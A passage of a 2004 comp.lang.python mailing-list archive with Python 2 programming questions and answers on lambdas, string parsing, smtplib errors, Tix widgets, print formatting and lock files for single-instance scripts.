value of 5.07e-25 to be? -- Grant Edwards grante Yow! .. I see TOILET at SEATS... visi.com From exarkun at divmod.com Thu Sep 16 10:39:15 2004 From: exarkun at divmod.com (exarkun at divmod.com) Date: Thu, 16 Sep 2004 14:39:15 GMT Subject: "Updating" lambda functions In-Reply-To: <2qtl0oF139gn6U1@uni-berlin.de> Message-ID: <20040916143915.29723.661537585.divmod.quotient.1908@ohm> On 16 Sep 2004 14:07:20 GMT, Oliver Fromme <olli at haluter.fromme.com> wrote: >Hi, > > I'm trying to write a Python function that parses > an expression and builds a function tree from it > (recursively). > > [snip] > > I need to "update" a lambda function, like this: > > fu = lambda x: x > ... > fu = lambda x: fu(x) + 17 > ... > fu = lambda x: fu(x) * 3 > > Of course that doesn't work, because fu is resolved > when the lambda is called, not when it's defined, so > I'll run into an endless recursion. > > My current solution is to define a helper function > which passes the lambda through its argument: > > [snip] > > That works, but it strikes me as unclean and ugly. > Is there a better way to do it? One alternative: >>> fu = lambda x: x >>> fu = lambda x, fu=fu: fu(x) + 17 >>> fu = lambda x, fu=fu: fu(x) * 3 >>> fu(3) 60 forcing definition-time binding of the name "fu" in the lambda's local scope. It strikes me that the y combinator should help here, but maybe that's just wishful thinking. Jp From mynews44 at yahoo.com Mon Sep 6 08:45:52 2004 From: mynews44 at yahoo.com (googleboy) Date: 6 Sep 2004 05:45:52 -0700 Subject: has anyone done a blog or forum engine in python? Message-ID: <e84f5d12.0409060445.73d6cffd@posting.google.com> Hiya. I am looking at implementing a blog and a forum for a personal website. I am also beginning to look at growing my programming skills from newbie/mediocre to intermedaitely servicable and want to continue doing this focussing on python. It would be cool to find projects in python with code I can refer to. Regards, googleboy From zathras at thwackety.com Tue Sep 28 19:05:43 2004 From: zathras at thwackety.com (Michael Sparks) Date: Wed, 29 Sep 2004 00:05:43 +0100 (BST) Subject: all pairs of items in a list without indexing? In-Reply-To: <20040928215701.GA11275@unpythonic.net> Message-ID: <Pine.LNX.4.44.0409282346340.14797-100000@pingu.thwackety.com> On Tue, 28 Sep 2004 jepler at unpythonic.net wrote: > I think that Steven wants to generate all pairs of items in a list, > not successive pairs. Sorry, you're right, I misread. That'll teach me for reading and posting when it's late and I'm tired :) This is what was asked for: # Given a list l which we want all pairs: >>> l=[1,2,3,4,5] >>> [(l[x],l[y]) for y in xrange(len(l)) for x in xrange(y,len(l)) if x!=y] [(2, 1), (3, 1), (4, 1), (5, 1), (3, 2), (4, 2), (5, 2), (4, 3), (5, 3), (5, 4)] ie just ask for it. Since this works on indices, you still get the same pairs even when all the values in l are the same: >>> l=[1,1,1,1,1] >>> [(l[x],l[y]) for y in xrange(len(l)) for x in xrange(y,len(l)) if x!=y] [(1, 1), (1, 1), (1, 1), (1, 1), (1, 1), (1, 1), (1, 1), (1, 1), (1, 1), (1, 1)] At least I think this is what's wanted this time* :) Bit wasteful though due to the list creation. * Depends on whether Steven wants items paired with themselves or not. If he does ditching the if x!=y term would be what is wanted. Regards, Michael From hinnc at yahoo.com Thu Sep 2 15:55:07 2004 From: hinnc at yahoo.com (Canes_Rock) Date: 2 Sep 2004 12:55:07 -0700 Subject: Carriage Return Problem with Python on Windows Message-ID: <48593215.0409021155.69139a18@posting.google.com> The information posted at: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=slrnarv28n.e4j.TuxTrax%40fortress.tuxnet&rnum=1&prev=/groups%3Fq%3Dsuppress%2Bcarriage%2Breturn%2Bgroup:comp.lang.python.*%26hl%3Den%26lr%3D%26ie%3DUTF-8%26group%3Dcomp.lang.python.*%26selm%3Dslrnarv28n.e4j.TuxTrax%2540fortress.tuxnet%26rnum%3D1 seemed to provide a solution to eliminating the line feed and causing a carriage return for the text displayed in the IDLE window, (I want to be able to overwrite displayed text - that is, eliminating the line feed from occuring and causing a carriage return). The comma at the end of the print command appeared to have eliminated the line feed, (\n), but the carriage return, (\r) does not work. For example, (logic borrowed from previously referenced thread): for i in range(10) : print '\r' + `i`, This produces a small square box before each number, (sorry - can't duplicate the small square box here in this posting but if you were to substitute X for box the output would look like this): X1 X2 X3 X4 X5 X6 X7 X8 X9 as you can see the line feed has been eliminated but the carriage return is not functioning as I would expect, (yes - its always about me isn't it?). I also tried a variation using sys.stdout.write and sys.stdout.flush but the root cause is the issue with the carriage return. Am I screwed or is there a way around this? I am running Windows XP Home Edition using Python version 2.3.3 and IDLE version 1.0.2 Any help would be appreciated! Thanks... From grante at visi.com Mon Sep 20 10:34:03 2004 From: grante at visi.com (Grant Edwards) Date: 20 Sep 2004 14:34:03 GMT Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <cihrab$1v8$02$1@news.t-online.com> <4618b20c.0409192034.5408eebb@posting.google.com> Message-ID: <414eea5b$0$62452$a1866201@newsreader.visi.com> On 2004-09-20, david h <daveh at dmh2000.com> wrote: > the problem with BCD or other 'decimal' computations is that it either > doesn't have the dynamic range of binary floating point (~ +-10**310) Huh? Why would BCD floating point have any less range than binary floating point? Due to the space inefficiencies of BCD, it would take a few more bits to cover the same range, but I don't see your point. -- Grant Edwards grante Yow! Hey, LOOK!! A pair of at SIZE 9 CAPRI PANTS!! They visi.com probably belong to SAMMY DAVIS, JR.!! From peter at engcorp.com Sun Sep 12 14:38:16 2004 From: peter at engcorp.com (Peter Hansen) Date: Sun, 12 Sep 2004 14:38:16 -0400 Subject: 'telegraphy' as a means of data entry In-Reply-To: <mailman.3203.1094997692.5135.python-list@python.org> References: <QOK0d.394968$gE.276141@pd7tw3no><8YGdnbbBS6xILt7cRVn-iA@powergate.ca><llT0d.382584$M95.334812@pd7tw1no> <S-ydnXbZkPyO0NncRVn-jg@powergate.ca> <mailman.3203.1094997692.5135.python-list@python.org> Message-ID: <x6SdnU18pp4ECtncRVn-rQ@powergate.ca> Fredrik Lundh wrote: > in Tkinter, you'll find the event time (in milliseconds) in the time > attribute of the event descriptor: ... > also note that unlike Peter's example, the time attribute contains > the time when the event was generated, not when it reached your > program. My example didn't show the time at all. If you want the time of the event generation in wxPython, you would use the evt.GetTimestamp() call, which returns the time of the event generation in milliseconds. -Peter From ialbert at mailblocks.com Thu Sep 9 11:58:57 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Thu, 09 Sep 2004 11:58:57 -0400 Subject: simple string parsing ? In-Reply-To: <Pine.LNX.4.44.0409091651330.1125-100000@kleigh.nl> References: <mailman.3102.1094738800.5135.python-list@python.org> <Pine.LNX.4.44.0409091651330.1125-100000@kleigh.nl> Message-ID: <cOqdnQ3R-ald4N3cRVn-hw@giganews.com> Peter Kleiweg wrote: > R = re.compile('[=+*:()]|[a-z]+|[A-Z]+[0-9]+|[0-9]*\.[0-9]+|[0-9]+|[^ \t\r\n]) Lets also mention the title of the chapter under which a newbie can get more info on such solutions: Regexes: Bad Idea or Big Mistake? Istvan. From bradtilley at usa.net Wed Sep 15 13:17:40 2004 From: bradtilley at usa.net (Brad Tilley) Date: Wed, 15 Sep 2004 13:17:40 -0400 Subject: See exactly what a function has returned Message-ID: <ci9tfk$71t$1@solaris.cc.vt.edu> Is there an easier way to do this: def print_whats_returned(function): print function print type(function) From pythongnome at hotmail.com Sat Sep 4 08:14:18 2004 From: pythongnome at hotmail.com (Lucas Raab) Date: Sat, 04 Sep 2004 12:14:18 GMT Subject: 2 different Python distributions on same Windows box? References: <1ua_c.794$Gi5.373@trndny05> Message-ID: <uki_c.5366$Vl5.2285@newsread2.news.atl.earthlink.net> If you're on Windows then your only problem would be if you double-clicked whatever Python file you wanted to run. If you did do that then the most recent version of Python would run the app. "David Lees" <abcdebl2nonspammy at verizon.net> wrote in message news:1ua_c.794$Gi5.373 at trndny05... >I currently have PythonWin 2.3.4 on my Windows 2000 box, but would like to >try the Enthougt 2.2.3 distribution. Are there any tricks to making these >2 distributions co-exist? Are there any potential problems? > > TIA > > David Lees From mauriceling at acm.org Sun Sep 5 19:20:59 2004 From: mauriceling at acm.org (Maurice LING) Date: Sun, 05 Sep 2004 23:20:59 GMT Subject: compiling to python byte codes In-Reply-To: <pan.2004.09.04.14.43.20.140684@jerf.org> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <pan.2004.09.02.20.00.45.714844@jerf.org> <4137bf73$1@news.unimelb.edu.au> <pan.2004.09.02.22.49.36.55719@jerf.org> <4137e739$1@news.unimelb.edu.au> <ch8r2b$mva$1@news.service.uci.edu> <4137f79f$1@news.unimelb.edu.au> <4138207f$0$182$9b622d9e@news.freenet.de> <pan.2004.09.04.14.43.20.140684@jerf.org> Message-ID: <413b9f57$1@news.unimelb.edu.au> > > In your situation, I can promise you that it is *faster* to take the time > to learn about this stuff correctly then to try to power through it > without learning; it is one of those places in computer technology > where there are such powerful tools to help you that it is better to > learn how to use them then to kludge through. Unfortunately, it is too > large a topic to cover in a Usenet posting. I realised that there are powerful tools such as lex and yacc around that can save me a lot of time. I'll be using PLY for my purpose. > > If your institution offers a compilers class (a sadly diminishing number), > try to take or audit that. (You most likely don't want a *compiler*, but > an *interpreter*; the course will explain the difference. An interpreter > typically uses much the same technology to implement, parsers and abstract > syntax trees and such, but is usually much easier to implement.) (I think > you hinted this was thesis project, hence this suggestion. Failing that, > you may need a compilers book and some self-study time. Again, I promise > you this is faster almost immediately than trying to power through this > without it.) I can only have the self-study options and good books on compiler construction are rare. I am a molecular biologist by professional training. There are things that are tough for me to understand and to just find the answer about stacks vs register computers will take ages, and I always appreciate people who do not treat me as an idiot. I'm sure there are much more idiotic questions being asked in newsgroups. > > Stepping up a level, are you sure you can't just implement a C or Python > library and let people write their own programs in Python? You'll never be > able to match Python-the-language's feature set. What I'm doing is a special-purpose language (for modelling purposes). From aleaxit at yahoo.com Tue Sep 14 10:43:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 16:43:30 +0200 Subject: unittest.TestCase, lambda and __getitem__ References: <mailman.3214.1095049956.5135.python-list@python.org> <roy-3F3E48.09514613092004@reader1.panix.com> <4145f4ae$1@nntp0.pdx.net> Message-ID: <1gk43lv.4a2etasawdy8N%aleaxit@yahoo.com> Scott David Daniels <Scott.Daniels at Acm.Org> wrote: > Roy Smith wrote: > >.... I think you need to just create a little function and call it: > > > > def tryIndex (object, index): > > return obj [index] > > For python 2.4 and beyond, the function is called operator.getitem, > so I'd call it getitem. It's named just the same way in 2.3: kallisti:~ alex$ python2.3 Python 2.3 (#1, Sep 13 2003, 00:49:11) [GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import operator >>> operator.getitem <built-in function getitem> >>> What's new in 2.4 is operator.itemgetter, a subtle higher-order function... Alex From aleaxit at yahoo.com Wed Sep 22 15:57:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 21:57:01 +0200 Subject: Python speed-up References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> <1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com> <mailman.3739.1095881975.5135.python-list@python.org> Message-ID: <1gkjaxf.17zrqs7d3fcbaN%aleaxit@yahoo.com> Gerrit <gerrit at nl.linux.org> wrote: ... > Why isn't cStringIO faster than concatenating strings? > > Using python2.4: Python 2.4 did reduce the cost of the bigstring+=littlepiece trap. But I do agree there's nevertheless something strange here. cStringIO is using a very different strategy, a buffer that doubles and gets realloc'd every time it would fill up -- maybe that's tripping up its performance...? Alex From bokr at oz.net Sat Sep 4 17:02:46 2004 From: bokr at oz.net (Bengt Richter) Date: 4 Sep 2004 21:02:46 GMT Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> <Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4> <chctqv$e50$0$216.39.172.122@theriver.com> <4139FCDA.8020601@jessikat.fsnet.co.uk> Message-ID: <chdahm$sdp$0$216.39.172.122@theriver.com> On Sat, 04 Sep 2004 18:35:22 +0100, Robin Becker <robin at SPAMREMOVEjessikat.fsnet.co.uk> wrote: >Bengt Richter wrote: >> On 2 Sep 2004 06:17:05 GMT, Eric Bohlman <ebohlman at omsdev.com> wrote: >> >> >>>"Amanita, Love Ewe" <ladyamanita at aol.com> wrote in >>>news:1bf5bcb9.15695836 at aol.com: >>> >>> >>>>Sharon expects the printer within hers and actually looks. Why will >>>>you grasp the ugly worthwhile onions before Satam does? Many proud >>>>cats over the abysmal planet were loving against the tired bathroom. >>> >>>This seems to be of somewhat better quality than the output of the typical >>>random-text generator. Can anyone suggest something on CPAN useful for >>>such? >> >> >> Clearly, the speaker-hearer's linguistic intuition suffices >....... >> >> Regards, >> Bengt Richter > >wow! my litle chomsky :) > Did you originate that? I found it somewhere in lisp, but there was no author identified. It starts: ________ ;;; -*- Mode: LISP; Syntax: Common-lisp; Base: 10. -*- (defvar *line-length* 72.) (defvar *chomsky-help* "CHOMSKY is an aid to writing linguistic papers in the style of the great master. It is based on selected phrases taken from actual books and articles written by Noam Chomsky. Upon request, it assembles the phrases in the elegant stylistic patterns that Chomsky is noted for. To generate n sentences of linguistic wisdom, type (CHOMSKY n) -- for example (CHOMSKY 5) generates half a screen of linguistic truth.") ________ I was doing a little perl at the time, so I took the source verbatim and prefixed perl code ending in __END__ on that, so I could use DATA to get at the strings in the lisp mainly, and then sort of duplicate the processing logic in perl. The above was an output I just ran. My perl of this dates to Aug 99, so it's not as easy to read as if I had written it in Python ;-) Unfortunately, Are you the original author? There must be a nostalgia story around this ;-) Regards, Bengt Richter From chrisks at NOSPAM.udel.edu Sat Sep 18 01:33:14 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sat, 18 Sep 2004 05:33:14 GMT Subject: PyYaml? In-Reply-To: <pan.2004.09.19.00.11.40.671123@jerf.org> References: <2IO2d.1086$HH5.1025@trndny05> <pan.2004.09.19.00.11.40.671123@jerf.org> Message-ID: <uMP2d.109$uz1.75@trndny03> Jeremy Bowers wrote: > On Sat, 18 Sep 2004 04:20:14 +0000, Chris S. wrote: > > >>Is there any benefit to Pickle over YAML? Given that Pickle is insecure, >>wouldn't it make more sense to support a secure serialization format, >>one that's even readable to boot, such as YAML? > > > Anything that can "pickle" will be insecure. It is the capabilities of > pickling, not the implementation, that is insecure. I disagree. Pickle's mini programming language allows for arbitrary file deletion. There's nothing in the concept of serialization that requires this ability. From me at privacy.net Mon Sep 27 16:05:17 2004 From: me at privacy.net (Richard Hanson) Date: Mon, 27 Sep 2004 13:05:17 -0700 Subject: synchronize a block References: <2rqduhF1di4lmU1@uni-berlin.de> <b5qdnRyUvIusnsXcRVn-gA@powergate.ca> <DUT5d.438$gk.278@okepread01> <WfudnV7vZuEUpMXcRVn-jQ@powergate.ca> Message-ID: <fbpgl01n1emu9i8if634n77qkp8fi992pp@4ax.com> Peter Hansen wrote: > Steve Holden wrote: > > > One of the best features of c.l.py is how questions phrased in the most > > ambiguous terms are often slowly elaborated into meaningful enquiries. > > Sometimes, and more so lately, *painfully* slowly. I'm somewhat > saddened by the waste involved in some of those threads where the > OP posts a vague question, we all spend days replying with various > guesses at what was really intended, and then finally the OP > posts again (and sometimes they don't even do us that courtesy!) > and says merely "oh, it wasn't that complicated, I just meant X" > and it turns out to have been a FAQ item anyway. :-( While I'm in complete agreement with your sentiments above, Peter, newsgroup dynamics *are* difficult. Speaking for myself, both you and Steve (and virtually all other respondents) have been *quite* helpful and friendly to me. But attempting to follow the customs of a group can be a bit intimidating for some newer posters. While I'm not intimidated (alas, eh? ;-) ), I've been told by different long-term posters -- all with the best of intentions, I firmly believe -- that I've given too *much* information in some cases, as well as too *little* information in other cases. (And usually, they were correct. ;-) ) I'm fully capable of adjusting up and learning as needed -- and I most *certainly* don't take any of this personally, in any case. However, many of the newbies may not fare so well. Mostly, in this group, people are quite civil and mature -- even in the face of repeated problems such as you mention above. But that is not the case universally -- here, or in any other group. Indeed, in the world at large. I have no answers, as it were. Likely, we're all going to have to hold on tight as we careen into this 'Fraid New World, stumbling along, working things out as we go. :-) > But then, Steve, you're an optimist and I'm not. ;-) ;-) cautiously-pessimistically y'rs, Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From alexis.roda at urv.es Thu Sep 9 10:57:52 2004 From: alexis.roda at urv.es (Alexis Roda) Date: Thu, 09 Sep 2004 16:57:52 +0200 Subject: simple string parsing ? In-Reply-To: <5db3bf00040909070658936b98@mail.gmail.com> References: <5db3bf00040909070658936b98@mail.gmail.com> Message-ID: <41406F70.1070209@urv.es> TAG wrote: > Hi, > > I am new to python and would like to parse a string, well acually a > formula and get the stuff grouped together > eg: > > if I have : > > =+GC142*(GC94+0.5*sum(GC96:GC101)) > > and I want to get : > > ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', > 'GC96', ':', 'GC101', ')', ')'] > > how can I get this ?????? The most generic way is to use some lexycal analizer tool. I have not tested it, but python comes with shlex. In the example you send it seems enough to iterate over the input one char at a time, grouping chars until you find some non alphabetic, numeric, point char. tokens = [] current_token = '' for char in input : if not is_delimiter(char) : current_token += char else : if current_token : tokens.append(current_token) current_token = '' tokens.append(char) define is_delimiter() so it returns true when the argument is not alphabetic, numerical nor the decimal point. The "right" way would be something like: what_i_have_found_until_now = '' # what for short for char in input : if is_meaningful(what + char) : what = what + char keep looping else : 'what' is a token do something with it what = char is_meaningful() encapsulates the lexycal rules for the language Te execution will be: = is meaningful =+ is not -> token = + +G no -> token + G yes GC yes GC1 yes GC14 yes GC142 yes GC142* no -> token GC142 * ... and so on HTH -- //// (@ @) ----------------------------oOO----(_)----OOo-------------------------- <> Ojo por ojo y el mundo acabara ciego /\ Alexis Roda - Universitat Rovira i Virgili - Reus, Tarragona (Spain) ----------------------------------------------------------------------- From hugonz at hotmail.com Sat Sep 11 02:00:57 2004 From: hugonz at hotmail.com (Hugo Gonz?lez) Date: 10 Sep 2004 23:00:57 -0700 Subject: Tix Meter, erratic behavior Message-ID: <abf57198.0409102200.51b15f21@posting.google.com> Hi, I'm doing a simple text with the Tix Meter widget, in a program as follows import Tix import time mainwin=Tix.Tk() container=Frame(mainwin) bar=Tix.Meter(container, value=0.0) bar.pack() for i in range(100) time.sleep(1) bar.configure(value=(i/100.0) ------------- I'm doing this in the interactive editor and I'd expects this gives me a progresss bar that advances a number every second. When I run this, the script would become irresponsive, and after Ctl-C the widget will display with the last value reached in the -for- loop. Does anyone have a clue why it is not doing what I expect? Can you give it a try in your interpreter? What am I doing wrong? Thanks all in advance.. Hugo From in.aqua.scribis at nl.invalid Wed Sep 1 16:40:02 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Wed, 1 Sep 2004 22:40:02 +0200 Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> References: 35.python-list@python.org> <1093794853.349452@news.commspeed.net> <mailman.2711.1094020820.5135.python-list@python.org> <41357372.E263DE37@alcyone.com> <8548c5f3.0409010533.1fed5008@posting.google.com> <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> Message-ID: <Pine.LNX.4.44.0409012239330.1094-100000@kleigh.nl> Mark Hahn schreef: > > o What all features do you plan to borrow from C Sharp? In other > > words, is this C# on Python or Python on C# ? > > It is both. To see the feature list go to out wiki: http://pycs.org/wiki. pycs.org doesn't seem to exist. -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From maxm at mxm.dk Tue Sep 28 04:55:53 2004 From: maxm at mxm.dk (Max M) Date: Tue, 28 Sep 2004 10:55:53 +0200 Subject: Is there a function to search the HD In-Reply-To: <4159229b$0$22676$ba624c82@nntp04.dk.telia.net> References: <4159229b$0$22676$ba624c82@nntp04.dk.telia.net> Message-ID: <415926e1$0$192$edfadb0f@dread12.news.tele.dk> Peter Jensen wrote: > Hi all. > > I was wondering if there is an inbuild function in python to search your > harddrives ( Harddisk's) for a file of a speciel type. I mean can I write a > command with 2 parameters ( one being the filetype, and the other the > location on the harddisk where I want to search for the specific file type ) > > Thank for all input... 6.1 os -- Miscellaneous operating system interfaces This module provides a more portable way of using operating system dependent functionality than importing a operating system dependent built-in module like posix or nt. 6.1.4 Files and Directories walk( top[, topdown=True [, onerror=None]]) walk() generates the file names in a directory tree, by walking the tree either top down or bottom up. For each directory in the tree rooted at directory top (including top itself), it yields a 3-tuple (dirpath, dirnames, filenames). -- hilsen/regards Max M, Denmark http://www.mxm.dk/ IT's Mad Science From peter at engcorp.com Wed Sep 1 08:33:51 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 08:33:51 -0400 Subject: Python cannot use SMTP... In-Reply-To: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net> References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net> Message-ID: <KaCdnQgNs7svXKjcRVn-vA@powergate.ca> JZ wrote: > I cannot find out what is the problem with my Python. I cannot join to smtp > host. >>python > > Python 2.3.4 (#1, Jun 22 2004, 04:42:42) > [GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-112.7.2)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>>>import smtplib >>>>smtplib.SMTP('localhost') > > Traceback (most recent call last): > File "<stdin>", line 1, in ? > File "/usr/local/lib/python2.3/smtplib.py", line 242, in __init__ > raise SMTPConnectError(code, msg) > smtplib.SMTPConnectError: (-1, "onnect: failed to connect to database: > Error: Access denied for user: 'admin at localhost' (Using password: YES)") This appears to be because your server is responding in a non-standard way. The "-1" arises because an improperly formed SMTP response line was received. Try connecting using telnet ("telnet localhost 25") and see what you get. It should look something like the first line here: 220 some.host.name blah blah blah The first three characters are the critical part. If they aren't a three-digit SMTP response code, your server is likely borken. If you post the results, someone might have some advice, but it's not likely this is a Python issue. -Peter From pwatson at redlinepy.com Fri Sep 3 10:44:58 2004 From: pwatson at redlinepy.com (Paul Watson) Date: Fri, 3 Sep 2004 09:44:58 -0500 Subject: print with no newline References: <2prasrFo4rruU1@uni-berlin.de> <mailman.2834.1094220495.5135.python-list@python.org> Message-ID: <2prebbFo67agU1@uni-berlin.de> "Jp Calderone" <exarkun at divmod.com> wrote in message news:mailman.2834.1094220495.5135.python-list at python.org... > Paul Watson wrote: > > I thought that using a comma at the end of a print statement would suppress > > printing of a newline. Am I misunderstanding this feature? How can I use > > print and not have a newline appended at the end? > > > > Print doesn't want to leave the *final* line without a newline. > sys.stdout.write() doesn't care if your shell prompt gets mixed in with > the last line of output. You'll need to use the latter if that's what > you want. > > exarkun at boson:~$ python -c "import sys; sys.stdout.write('here')" > hereexarkun at boson:~$ > > Jp Ok, I can use sys.stdout.write(). Still, this comma at the end thing does not seem very consistent. Before the last line, while it does suppress the newline, a space is still added to the output. Why is that? Yes, I have seen spaces added between items in the print statement and, while it is probably convenient at times, is frequently an annoyance. C:\src\projects\test1>python -c "print 'here',;print 'there'," >jjj C:\src\projects\test1>od -c -tx1 jjj 0000000 h e r e t h e r e \r \n 68 65 72 65 20 74 68 65 72 65 0d 0a 0000014 From cginboston at hotmail.com Thu Sep 30 09:11:01 2004 From: cginboston at hotmail.com (C Ginger) Date: Thu, 30 Sep 2004 13:11:01 +0000 Subject: multiple instance on Unix In-Reply-To: <mailman.4130.1096547595.5135.python-list@python.org> References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> <D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com> <mailman.4130.1096547595.5135.python-list@python.org> Message-ID: <415C05E5.5040108@hotmail.com> I know the approach to creating a lock file has been around a long time but there are certain weaknesses to it. There are a number of race conditions in it. For instance if process A detects the directory isn't there it will attempt to create it. During that same time process B might also not find it there - since A hasn't completed its create yet. I think a better approach would be to use the shared memory option (see man shmop). The idea here is that each invoked instance would get back the same shared memory and use an appropriate atomic op to lock the process. Of course doing this in pure Python might be a bit difficult. Chuck Wegrzyn Jeremy Jones wrote: > Nigel King wrote: > >> Jeremy, >> I have not explained very well what I wanted. >> >> I had a program that was called randomly by specific emails arriving >> which asked for certain information. If two or more emails arrived >> simultaneously then procmail asked two or more instances of my program >> to run. These instances interfered with one another, so I needed a >> process to stop that from happening. What my son devised was for the >> first to create a directory and run and when finished to delete the >> directory. The subsequent instances could try to create a directory >> but fail in an atomic piece of code. They would sleep for 1 or more >> seconds and then try again. The first of the subsequent instances that >> tries and succeeds stops the others from succeeding. >> >> Now, this works but I wondered whether anybody knew of a more standard >> bit of python code was available for ensuring that only one instance >> was processing. mutex does it for threads but not for instances as I >> understand it. >> >> The specification for a better process would include the ability to >> ensure that the queue was orderly, in other words some sort of FIFO >> would ensure that first served would have been the first to request >> the lock and fail. >> >> Our solution which does not satisfy the previous paragraph. >> >> import os, time >> try: >> # This program is not thread safe so we must protect it from being >> # trampled over by another copy >> # pause if another email is being processed for half an hour maximum >> t = time.time()+1800 >> locked = True >> while locked and time.time() < t: >> try: >> os.mkdir('instancelck') >> locked = False >> pass >> except : >> time.sleep(1) >> pass >> pass >> # do everything else >> ....... >> finally : >> os.rmdir('instancelck') >> # Removes the thread locking device so that another copy may run >> pass >> >> The timer was in case for any reason finally did not run successfully >> ever. >> >> Facundo's solution I have not yet studied. >> >> Thanks >> >> Nigel >> >> > > Nigel, > > So, basically you have a working solution. Couple of things, though. > You may want to modify your > > finally: > os.rmdir() > > to > > finally: > if not Locked: > os.rmdir() > > otherwise, if one of them times out, it's going to delete that directory. > Also, you probably want to tighten that except statement down to "except > OSError" so that you are handling the only exception that should be > raised right in that block of code. If something goes batty and raises > another type of exception, you probably want to fall into your filly > condition, log it (are you logging with this application?), then let > finally raise the exception up. > > This last one is just a matter of preference, but you could remove most > of those "pass" statements. They're not hurting anything, but it's just > a little cluttered. > > OK - not I know that you weren't looking for comments on your code, but > you got it for free, right? ;-) Anyway, to your question. Is there a > better way of doing this than the way you are doing it? Probably, but I > don't know for sure what a good answer is. Frankly, this approach both > scares the pants off of me and gives me an upset stomach. I'm guessing > you must be feeling at least a little of that sentiment or you wouldn't > be asking if there's another way to do this. I've just seen this type > of thing abused and lead to all kinds of weird and undiagnosable > problems. When you're using the filesystem as either a locking > mechanism or as a source of state information, that just smells like the > wrong solution to me, but I'm probably biased against it from experience. > > So, what are the alternatives. This may be way over kill, but maybe you > could have procmail kick off a web-services-ish script and talk to a > centralized server process (either XMLRPC or SOAP or something like > that). Then you could put the locking in the server process and not > have to deal with it from the procmail-spawned scripts. And, actually, > if you used something like SimpleXMLRPCServer, you wouldn't have to do a > thing. The first request would be handled and processed, while the > second and subsequent requests would block until the first (or next in > the case of subsequent requests) request finished. But, how do you make > sure you've only got one XMLRPCServer running? ;-) > > Another option is a recipe that is on the ASPN Python Cookbook site for > this type of thing: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/252495 > But at a glance it looked like more of the same of what you've already > done. > > Another alternative is to use the builtin procmail locking as others > have suggested. I googled on it and the most frequent recurring word > pattern was "procmail lock failure", so I'd be a little afraid of that. > But it'd be worth looking into nonetheless. > > I don't know if in *NIX OSes if you can somehow register an instance of > a process and make any subsequent registration block execution until the > running one terminates. That would be ideal. > > Anyway, these are my thoughts. > > > Jeremy Jones From ml at dynkin.com Sun Sep 5 11:45:27 2004 From: ml at dynkin.com (George Yoshida) Date: Mon, 06 Sep 2004 00:45:27 +0900 Subject: Problem with 2.4(alpha3) In-Reply-To: <chaek8$29of$1@dojima-n0.hi-ho.ne.jp> References: <4138a9f0$0$22757$db0fefd9@news.zen.co.uk> <chaek8$29of$1@dojima-n0.hi-ho.ne.jp> Message-ID: <chfc9j$2d1d$1@dojima-n0.hi-ho.ne.jp> >> After installing the lastest alpha, on Win 2k, I found that my scripts >> no longer worked. It turns out that the .py file assocations had the >> switches -n and -e set for 'open'. pyhton.exe was reporting unkown >> option for these switches. I removed them and it seems to have fixed it. >> Is there a problem with the installer, or some other issue when >> installing 2.4 over 2.3.4? > > > I think this issue is caused by the scipt to create a msi installer. > I've just filed a bug report to sf, so I hope someone takes a look at it. > > http://www.python.org/sf/1022010 A new installer has been uploaded. glad to hear that! http://mail.python.org/pipermail/python-dev/2004-September/048613.html -George From vze4rx4y at verizon.net Thu Sep 9 00:45:47 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Thu, 09 Sep 2004 04:45:47 GMT Subject: container-indepentent iteration code ? References: <10jv5ad1sjgep4d@corp.supernews.com> Message-ID: <%dR%c.2013$%N6.124@trndny01> [flacco] > is there a way to iterate over the *values* in a list/dict/whatever, > regardless of whether it's a list, dict, or whatever? ie, the iteration > code will not know beforehand what kind of container it's getting. try: it = obj.itervalues() except AttributeError: it = iter(obj) for value in it: . . . Raymond Hettinger From aleaxit at yahoo.com Tue Sep 7 05:22:41 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 11:22:41 +0200 Subject: open default MUA with a hyper link References: <chalvm$1944$1@biggoron.nerim.net> <mailman.2850.1094246310.5135.python-list@python.org> <chh9lt$imf$1@e3k.asi.ansaldo.it> <1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com> <chhjg9$dqc$1@e3k.asi.ansaldo.it> <1gjp6j9.1wlpfe9111w7xnN%aleaxit@yahoo.com> <chjl7n$lv2$1@e3k.asi.ansaldo.it> Message-ID: <1gjqq26.1ls8gov4pbu4fN%aleaxit@yahoo.com> Nemesis <nem at nowhere.invalid> wrote: > "Alex Martelli" wrote: > > >> Thank you for the link. > >> I tried that syntax, but it seems that Internet Explorer 